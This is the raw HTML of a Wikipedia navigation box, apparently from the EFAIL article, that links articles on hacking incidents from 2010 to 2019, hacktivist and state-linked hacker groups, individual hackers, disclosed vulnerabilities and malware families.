href="/wiki/DigiNotar" title="DigiNotar">DigiNotar</a></li> <li><a href="/wiki/DNSChanger" title="DNSChanger">DNSChanger</a></li> <li><a href="/wiki/HBGary" title="HBGary">HBGary Federal</a></li> <li><a href="/wiki/Operation_AntiSec" title="Operation AntiSec">Operation AntiSec</a></li> <li><a href="/wiki/2011_PlayStation_Network_outage" title="2011 PlayStation Network outage">PlayStation network outage</a></li> <li><a href="/wiki/RSA_SecurID#March_2011_system_compromise" title="RSA SecurID">RSA SecurID compromise</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2012</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/2012_LinkedIn_hack" title="2012 LinkedIn hack">LinkedIn hack</a></li> <li><a href="/wiki/Stratfor_email_leak" title="Stratfor email leak">Stratfor email leak</a></li> <li><a href="/wiki/Operation_High_Roller" title="Operation High Roller">Operation High Roller</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2013</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/2013_South_Korea_cyberattack" title="2013 South Korea cyberattack">South Korea cyberattack</a></li> <li><a href="/wiki/Snapchat#December_2013_hack" title="Snapchat">Snapchat hack</a></li> <li><a href="/wiki/June_25_cyber_terror" class="mw-redirect" title="June 25 cyber terror">Cyberterrorism attack of June 25</a></li> <li><a href="/wiki/Yahoo_data_breaches#August_2013:_breach" title="Yahoo data breaches">2013 Yahoo! data breach</a></li> <li><a href="/wiki/2013_Singapore_cyberattacks" title="2013 Singapore cyberattacks">Singapore cyberattacks</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2014</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Anthem_medical_data_breach" title="Anthem medical data breach">Anthem medical data breach</a></li> <li><a href="/wiki/Operation_Tovar" title="Operation Tovar">Operation Tovar</a></li> <li><a href="/wiki/2014_celebrity_nude_photo_leak" title="2014 celebrity nude photo leak">2014 celebrity nude photo leak</a></li> <li><a href="/wiki/2014_JPMorgan_Chase_data_breach" title="2014 JPMorgan Chase data breach">2014 JPMorgan Chase data breach</a></li> <li><a href="/wiki/2014_Sony_Pictures_hack" title="2014 Sony Pictures hack">2014 Sony Pictures hack</a></li> <li><a href="/wiki/2014_Russian_hacker_password_theft" title="2014 Russian hacker password theft">Russian hacker password theft</a></li> <li><a href="/wiki/Yahoo_data_breaches#Late_2014:_breach" title="Yahoo data breaches">2014 Yahoo! data breach</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2015</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Office_of_Personnel_Management_data_breach" title="Office of Personnel Management data breach">Office of Personnel Management data breach</a></li> <li><a href="/wiki/HackingTeam#2015_data_breach" title="HackingTeam">HackingTeam</a></li> <li><a href="/wiki/Ashley_Madison_data_breach" title="Ashley Madison data breach">Ashley Madison data breach</a></li> <li><a href="/wiki/VTech#2015_data_breach" title="VTech">VTech data breach</a></li> <li><a href="/wiki/2015_Ukraine_power_grid_hack" title="2015 Ukraine power grid hack">Ukrainian Power Grid Cyberattack</a></li> <li><a href="/wiki/2015%E2%80%932016_SWIFT_banking_hack" title="2015–2016 SWIFT banking hack">SWIFT banking hack</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2016</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Bangladesh_Bank_robbery" title="Bangladesh Bank robbery">Bangladesh Bank robbery</a></li> <li><a href="/wiki/Hollywood_Presbyterian_Medical_Center#Ransomware" title="Hollywood Presbyterian Medical Center">Hollywood Presbyterian Medical Center ransomware incident</a></li> <li><a href="/wiki/Commission_on_Elections_data_breach" title="Commission on Elections data breach">Commission on Elections data breach</a></li> <li><a href="/wiki/Democratic_National_Committee_cyber_attacks" title="Democratic National Committee cyber attacks">Democratic National Committee cyber attacks</a></li> <li><a href="/wiki/Vietnamese_airports_hackings" title="Vietnamese airports hackings">Vietnam Airport Hacks</a></li> <li><a href="/wiki/Democratic_Congressional_Campaign_Committee_cyber_attacks" title="Democratic Congressional Campaign Committee cyber attacks">DCCC cyber attacks</a></li> <li><a href="/wiki/2016_Indian_bank_data_breach" title="2016 Indian bank data breach">Indian Bank data breaches</a></li> <li><a href="/wiki/Surkov_leaks" title="Surkov leaks">Surkov leaks</a></li> <li><a href="/wiki/DDoS_attacks_on_Dyn" title="DDoS attacks on Dyn">Dyn cyberattack</a></li> <li><a href="/wiki/Russian_interference_in_the_2016_United_States_elections" title="Russian interference in the 2016 United States elections">Russian interference in the 2016 U.S. elections</a></li> <li><a href="/wiki/2016_Bitfinex_hack" title="2016 Bitfinex hack">2016 Bitfinex hack</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2017</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/SHA-1#SHAttered_–_first_public_collision" title="SHA-1">SHAttered</a></li> <li><a href="/wiki/2017_Macron_e-mail_leaks" title="2017 Macron e-mail leaks">2017 Macron e-mail leaks</a></li> <li><a href="/wiki/WannaCry_ransomware_attack" title="WannaCry ransomware attack">WannaCry ransomware attack</a></li> <li><a href="/wiki/2017_Westminster_data_breach" title="2017 Westminster data breach">Westminster data breach</a></li> <li><a href="/wiki/Petya_(malware_family)" title="Petya (malware family)">Petya and NotPetya</a> <ul><li><a href="/wiki/2017_Ukraine_ransomware_attacks" title="2017 Ukraine ransomware attacks">2017 Ukraine ransomware attacks</a></li></ul></li> <li><a href="/wiki/2017_Equifax_data_breach" title="2017 Equifax data breach">Equifax data breach</a></li> <li><a href="/wiki/Deloitte#E-mail_hack" title="Deloitte">Deloitte breach</a></li> <li><a href="/wiki/Disqus#October_2017_security_breach" title="Disqus">Disqus breach</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2018</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Trustico#DigiCert_and_Trustico_spat,_2018" title="Trustico">Trustico</a></li> <li><a href="/wiki/Atlanta_government_ransomware_attack" title="Atlanta government ransomware attack">Atlanta cyberattack</a></li> <li><a href="/wiki/2018_SingHealth_data_breach" title="2018 SingHealth data breach">SingHealth data breach</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2019</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/2019_cyberattacks_on_Sri_Lanka" title="2019 cyberattacks on Sri Lanka">Sri Lanka cyberattack</a></li> <li><a href="/wiki/2019_Baltimore_ransomware_attack" title="2019 Baltimore ransomware attack">Baltimore ransomware attack</a></li> <li><a href="/wiki/2019_Bulgarian_Revenue_Agency_hack" title="2019 Bulgarian Revenue Agency hack">Bulgarian revenue agency hack</a></li> <li><a href="/wiki/WhatsApp_snooping_scandal" title="WhatsApp snooping scandal">WhatsApp snooping scandal</a></li> <li><a href="/wiki/Jeff_Bezos_phone_hacking_incident" title="Jeff Bezos phone hacking incident">Jeff Bezos phone hacking incident</a></li></ul> </div></td></tr></tbody></table><div></div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/Hacktivism" title="Hacktivism">Hacktivism</a></th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Anonymous_(hacker_group)" title="Anonymous (hacker group)">Anonymous</a> <ul><li><a href="/wiki/Timeline_of_events_associated_with_Anonymous" title="Timeline of events associated with Anonymous">associated events</a></li></ul></li> <li><a href="/wiki/CyberBerkut" title="CyberBerkut">CyberBerkut</a></li> <li><a href="/wiki/Gay_Nigger_Association_of_America" title="Gay Nigger Association of America">GNAA</a></li> <li><a href="/wiki/Goatse_Security" title="Goatse Security">Goatse Security</a></li> <li><a href="/wiki/Lizard_Squad" title="Lizard Squad">Lizard Squad</a></li> <li><a href="/wiki/LulzRaft" title="LulzRaft">LulzRaft</a></li> <li><a href="/wiki/LulzSec" title="LulzSec">LulzSec</a></li> <li><a href="/wiki/DDoS_attacks_on_Dyn#PerpetratorsNew_World_Hackers" title="DDoS attacks on Dyn">DDoS attacks on Dyn#PerpetratorsNew World Hackers</a></li> <li><a href="/wiki/NullCrew" title="NullCrew">NullCrew</a></li> <li><a href="/wiki/OurMine" title="OurMine">OurMine</a></li> <li><a href="/wiki/PayPal_14" title="PayPal 14">PayPal 14</a></li> <li><a href="/wiki/RedHack" title="RedHack">RedHack</a></li> <li><a href="/wiki/Teamp0ison" title="Teamp0ison">Teamp0ison</a></li> <li><a href="/wiki/The_Dark_Overlord_(hacker_group)" title="The Dark Overlord (hacker group)">TDO</a></li> <li><a href="/wiki/UGNazi" title="UGNazi">UGNazi</a></li> <li><a href="/wiki/Ukrainian_Cyber_Alliance" title="Ukrainian Cyber Alliance">Ukrainian Cyber Alliance</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/Advanced_persistent_threat" title="Advanced persistent threat">Advanced<br />persistent threats</a></th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Bangladesh_Black_Hat_Hackers" title="Bangladesh Black Hat Hackers">Bangladesh Black Hat Hackers</a></li> <li><a href="/wiki/Bureau_121" title="Bureau 121">Bureau 121</a></li> <li><a href="/wiki/Charming_Kitten" title="Charming Kitten">Charming Kitten</a></li> <li><a href="/wiki/Cozy_Bear" title="Cozy Bear">Cozy Bear</a></li> <li><a href="/wiki/Dark_Basin" title="Dark Basin">Dark Basin</a></li> <li><a href="/wiki/DarkMatter_Group" title="DarkMatter Group">DarkMatter</a></li> <li><a href="/wiki/Elfin_Team" title="Elfin Team">Elfin Team</a></li> <li><a href="/wiki/Equation_Group" title="Equation Group">Equation Group</a></li> <li><a href="/wiki/Fancy_Bear" title="Fancy Bear">Fancy Bear</a></li> <li><a href="/wiki/Stuxnet#History" title="Stuxnet">GOSSIPGIRL</a> (confederation)</li> <li><a href="/wiki/Guccifer_2.0" title="Guccifer 2.0">Guccifer 2.0</a></li> <li><a href="/wiki/HackingTeam" title="HackingTeam">Hacking Team</a></li> <li><a href="/wiki/Helix_Kitten" title="Helix Kitten">Helix Kitten</a></li> <li><a href="/wiki/Iranian_Cyber_Army" title="Iranian Cyber Army">Iranian Cyber Army</a></li> <li><a href="/wiki/Lazarus_Group" title="Lazarus Group">Lazarus Group</a> <ul><li><a href="/wiki/Lazarus_Group#BlueNorOff" title="Lazarus Group">BlueNorOff</a></li> <li><a href="/wiki/Lazarus_Group#AndAriel" title="Lazarus Group">AndAriel</a></li></ul></li> <li><a href="/wiki/NSO_Group" title="NSO Group">NSO Group</a></li> <li><a href="/wiki/Numbered_Panda" title="Numbered Panda">Numbered Panda</a></li> <li><a href="/wiki/PLA_Unit_61398" title="PLA Unit 61398">PLA Unit 61398</a></li> <li><a href="/wiki/PLA_Unit_61486" title="PLA Unit 61486">PLA Unit 61486</a></li> <li><a href="/wiki/PLATINUM_(cybercrime_group)" title="PLATINUM (cybercrime group)">PLATINUM</a></li> <li><a href="/wiki/Pranknet" title="Pranknet">Pranknet</a></li> <li><a href="/wiki/Red_Apollo" title="Red Apollo">Red Apollo</a></li> <li><a href="/wiki/Rocket_Kitten" title="Rocket Kitten">Rocket Kitten</a></li> <li><a href="/wiki/Stealth_Falcon" title="Stealth Falcon">Stealth Falcon</a></li> <li><a href="/wiki/Syrian_Electronic_Army" title="Syrian Electronic Army">Syrian Electronic Army</a></li> <li><a href="/wiki/Tailored_Access_Operations" title="Tailored Access Operations">Tailored Access Operations</a></li> <li><a href="/wiki/The_Shadow_Brokers" title="The Shadow Brokers">The Shadow Brokers</a></li> <li><a href="/wiki/XDedic" title="XDedic">xDedic</a></li> <li><a href="/wiki/Yemen_Cyber_Army" title="Yemen Cyber Army">Yemen Cyber Army</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/Hacker" title="Hacker">Individuals</a></th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Ryan_Ackroyd" title="Ryan Ackroyd">Ryan Ackroyd</a></li> <li><a href="/wiki/Mustafa_Al-Bassam" title="Mustafa Al-Bassam">Mustafa Al-Bassam</a></li> <li><a href="/wiki/George_Hotz" title="George Hotz">George Hotz</a></li> <li><a href="/wiki/Guccifer" title="Guccifer">Guccifer</a></li> <li><a href="/wiki/Elliott_Gunton" title="Elliott Gunton">Elliott Gunton</a></li> <li><a href="/wiki/Jeremy_Hammond" title="Jeremy Hammond">Jeremy Hammond</a></li> <li><a href="/wiki/Junaid_Hussain" title="Junaid Hussain">Junaid Hussain</a></li> <li><a href="/wiki/MLT_(hacktivist)" title="MLT (hacktivist)">MLT</a></li> <li><a href="/wiki/Hector_Monsegur" title="Hector Monsegur">Sabu</a></li> <li><a href="/wiki/Roman_Seleznev" title="Roman Seleznev">Track2</a></li> <li><a href="/wiki/Topiary_(hacktivist)" title="Topiary (hacktivist)">Topiary</a></li> <li><a href="/wiki/The_Jester_(hacktivist)" title="The Jester (hacktivist)">The Jester</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">Major <a href="/wiki/Vulnerability_(computer_security)" title="Vulnerability (computer security)">vulnerabilities</a><br />publicly <a href="/wiki/Full_disclosure_(computer_security)" title="Full disclosure (computer security)">disclosed</a></th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Evercookie" title="Evercookie">Evercookie</a> (2010)</li> <li><a href="/wiki/ISeeYou" title="ISeeYou">iSeeYou</a> (2013)</li> <li><a href="/wiki/Heartbleed" title="Heartbleed"> Heartbleed</a> (2014)</li> <li><a href="/wiki/Shellshock_(software_bug)" title="Shellshock (software bug)">Shellshock</a> (2014)</li> <li><a href="/wiki/POODLE" title="POODLE">POODLE</a> (2014)</li> <li><a href="/wiki/Rootpipe" title="Rootpipe">Rootpipe</a> (2014)</li> <li><a href="/wiki/Row_hammer" title="Row hammer">Row hammer</a> (2014)</li> <li><a href="/wiki/Signalling_System_No._7#Protocol_security_vulnerabilities" title="Signalling System No. 7">SS7 vulnerabilities</a> (2014)</li> <li><a href="/wiki/WinShock" title="WinShock">WinShock</a> (2014)</li> <li><a href="/wiki/JASBUG" title="JASBUG">JASBUG</a> (2015)</li> <li><a href="/wiki/Stagefright_(bug)" title="Stagefright (bug)">Stagefright</a> (2015)</li> <li><a href="/wiki/DROWN_attack" title="DROWN attack">DROWN</a> (2016)</li> <li><a href="/wiki/Badlock" title="Badlock">Badlock</a> (2016)</li> <li><a href="/wiki/Dirty_COW" title="Dirty COW">Dirty COW</a> (2016)</li> <li><a href="/wiki/Cloudbleed" title="Cloudbleed">Cloudbleed</a> (2017)</li> <li><a href="/wiki/Broadcom_Corporation#soc-wifi-vulns" title="Broadcom Corporation">Broadcom Wi-Fi</a> (2017)</li> <li><a href="/wiki/EternalBlue" title="EternalBlue">EternalBlue</a> (2017)</li> <li><a href="/wiki/DoublePulsar" title="DoublePulsar">DoublePulsar</a> (2017)</li> <li><a href="/wiki/Intel_Active_Management_Technology#Silent_Bob_is_Silent" title="Intel Active Management Technology">Silent Bob is Silent</a> (2017)</li> <li><a href="/wiki/KRACK" title="KRACK">KRACK</a> (2017)</li> <li><a href="/wiki/ROCA_vulnerability" title="ROCA vulnerability">ROCA vulnerability</a> (2017)</li> <li><a href="/wiki/BlueBorne_(security_vulnerability)" title="BlueBorne (security vulnerability)">BlueBorne</a> (2017)</li> <li><a href="/wiki/Meltdown_(security_vulnerability)" title="Meltdown (security vulnerability)">Meltdown</a> (2018)</li> <li><a href="/wiki/Spectre_(security_vulnerability)" title="Spectre (security vulnerability)">Spectre</a> (2018)</li> <li><a class="mw-selflink selflink">EFAIL</a> (2018)</li> <li><a href="/wiki/Exactis" title="Exactis">Exactis</a> (2018)</li> <li><a href="/wiki/Speculative_Store_Bypass" title="Speculative Store Bypass">Speculative Store Bypass</a> (2018)</li> <li><a href="/wiki/Lazy_FP_state_restore" title="Lazy FP state restore">Lazy FP state restore</a> (2018)</li> <li><a href="/wiki/TLBleed" title="TLBleed">TLBleed</a> (2018)</li> <li><a href="/wiki/SigSpoof" title="SigSpoof">SigSpoof</a> (2018)</li> <li><a href="/wiki/Foreshadow" title="Foreshadow">Foreshadow</a> (2018)</li> <li><a href="/wiki/Wi-Fi_Protected_Access#Dragonblood_attack" title="Wi-Fi Protected Access">Dragonblood</a> (2019)</li> <li><a href="/wiki/Microarchitectural_Data_Sampling" title="Microarchitectural Data Sampling">Microarchitectural Data Sampling</a> (2019)</li> <li><a href="/wiki/BlueKeep" title="BlueKeep">BlueKeep</a> (2019)</li> <li><a href="/wiki/Kr00k" title="Kr00k">Kr00k</a> (2019)</li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/Malware" title="Malware">Malware</a></th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"></div><table class="nowraplinks navbox-subgroup" style="border-spacing:0"><tbody><tr><th scope="row" class="navbox-group" style="width:1%">2010</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Ransomware#Bad_Rabbit" title="Ransomware">Bad Rabbit</a></li> <li><a href="/wiki/BlackEnergy#BlackEnergy_2_(BE2)" title="BlackEnergy"> Black Energy 2</a></li> <li><a href="/wiki/SpyEye" title="SpyEye">SpyEye</a></li> <li><a href="/wiki/Stuxnet" title="Stuxnet">Stuxnet</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2011</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Coreflood" title="Coreflood">Coreflood</a></li> <li><a href="/wiki/Alureon" title="Alureon">Alureon</a></li> <li><a href="/wiki/Duqu" title="Duqu">Duqu</a></li> <li><a href="/wiki/Kelihos_botnet" title="Kelihos botnet">Kelihos</a></li> <li><a href="/wiki/Metulji_botnet" title="Metulji botnet">Metulji botnet</a></li> <li><a href="/wiki/Stars_virus" title="Stars virus">Stars</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2012</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Carna_botnet" title="Carna botnet">Carna</a></li> <li><a href="/wiki/Dexter_(malware)" title="Dexter (malware)">Dexter</a></li> <li><a href="/wiki/FBI_MoneyPak_Ransomware" title="FBI MoneyPak Ransomware">FBI</a></li> <li><a href="/wiki/Flame_(malware)" title="Flame (malware)">Flame</a></li> <li><a href="/wiki/Mahdi_(malware)" title="Mahdi (malware)">Mahdi</a></li> <li><a href="/wiki/Red_October_(malware)" title="Red October (malware)">Red October</a></li> <li><a href="/wiki/Shamoon" title="Shamoon">Shamoon</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2013</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/CryptoLocker" title="CryptoLocker">CryptoLocker</a></li> <li><a href="/wiki/2013_South_Korea_cyberattack" title="2013 South Korea cyberattack">DarkSeoul</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2014</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Brambul" title="Brambul">Brambul</a></li> <li><a href="/wiki/BlackEnergy#BlackEnergy_3_(BE3)" title="BlackEnergy"> Black Energy 3</a></li> <li><a href="/wiki/Carbanak" title="Carbanak">Carbanak</a></li> <li><a href="/wiki/Careto_(malware)" title="Careto (malware)">Careto</a></li> <li><a href="/wiki/DarkHotel" title="DarkHotel">DarkHotel</a></li> <li><a href="/wiki/Duqu_2.0" title="Duqu 2.0">Duqu 2.0</a></li> <li><a href="/wiki/FinFisher" title="FinFisher">FinFisher</a></li> <li><a href="/wiki/Gameover_ZeuS" title="Gameover ZeuS">Gameover ZeuS</a></li> <li><a href="/wiki/Regin_(malware)" title="Regin (malware)">Regin</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2015</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Dridex" title="Dridex">Dridex</a></li> <li><a href="/wiki/Hidden_Tear" title="Hidden Tear">Hidden Tear</a></li> <li><a href="/wiki/Rombertik" title="Rombertik">Rombertik</a></li> <li><a href="/wiki/TeslaCrypt" title="TeslaCrypt">TeslaCrypt</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2016</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Hitler-Ransomware" title="Hitler-Ransomware">Hitler</a></li> <li><a href="/wiki/Jigsaw_(ransomware)" title="Jigsaw (ransomware)">Jigsaw</a></li> <li><a href="/wiki/KeRanger" title="KeRanger">KeRanger</a></li> <li><a href="/wiki/Necurs_botnet" title="Necurs botnet">Necurs</a></li> <li><a href="/wiki/MEMZ" title="MEMZ">MEMZ</a></li> <li><a href="/wiki/Mirai_(malware)" title="Mirai (malware)">Mirai</a></li> <li><a href="/wiki/Pegasus_(spyware)" title="Pegasus (spyware)">Pegasus</a></li> <li><a href="/wiki/Petya_(malware_family)" title="Petya (malware family)">Petya and NotPetya</a></li> <li><a href="/wiki/X-Agent" title="X-Agent">X-Agent</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2017</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/BrickerBot" title="BrickerBot">BrickerBot</a></li> <li><a href="/wiki/Kirk_Ransomware" title="Kirk Ransomware">Kirk</a></li> <li><a href="/wiki/LogicLocker" title="LogicLocker">LogicLocker</a></li> <li><a href="/wiki/Rensenware" title="Rensenware">Rensenware</a></li> <li><a href="/wiki/Triton_(malware)" title="Triton (malware)">Triton</a></li> <li><a href="/wiki/WannaCry_ransomware_attack" title="WannaCry ransomware attack">WannaCry</a></li> <li><a href="/wiki/Xafecopy_Trojan" title="Xafecopy Trojan">XafeCopy</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2018</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/VPNFilter" title="VPNFilter">VPNFilter</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">2019</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Grum_botnet" title="Grum botnet">Grum</a></li> <li><a href="/wiki/Joanap" title="Joanap">Joanap</a></li> <li><a href="/wiki/NetTraveler" title="NetTraveler">NetTraveler</a></li> <li><a href="/wiki/Chaos_Computer_Club#Staatstrojaner_affair" title="Chaos Computer Club">R2D2</a></li> <li><a href="/wiki/Tiny_Banker_Trojan" title="Tiny Banker Trojan">Tinba</a></li> <li><a href="/wiki/Titanium_(malware)" title="Titanium (malware)">Titanium</a></li> <li><a href="/wiki/ZeroAccess_botnet" title="ZeroAccess botnet">ZeroAccess botnet</a></li></ul> </div></td></tr></tbody></table><div></div></td></tr></tbody></table></div>    </div><noscript><img src="https://login.wikimedia.org/wiki/Special:CentralAutoLogin/start?useformat=desktop&type=1x1&usesul3=0" alt="" width="1" height="1" style="border: none; position: absolute;"></noscript> <div class="printfooter" data-nosnippet="">Retrieved from "<a dir="ltr" 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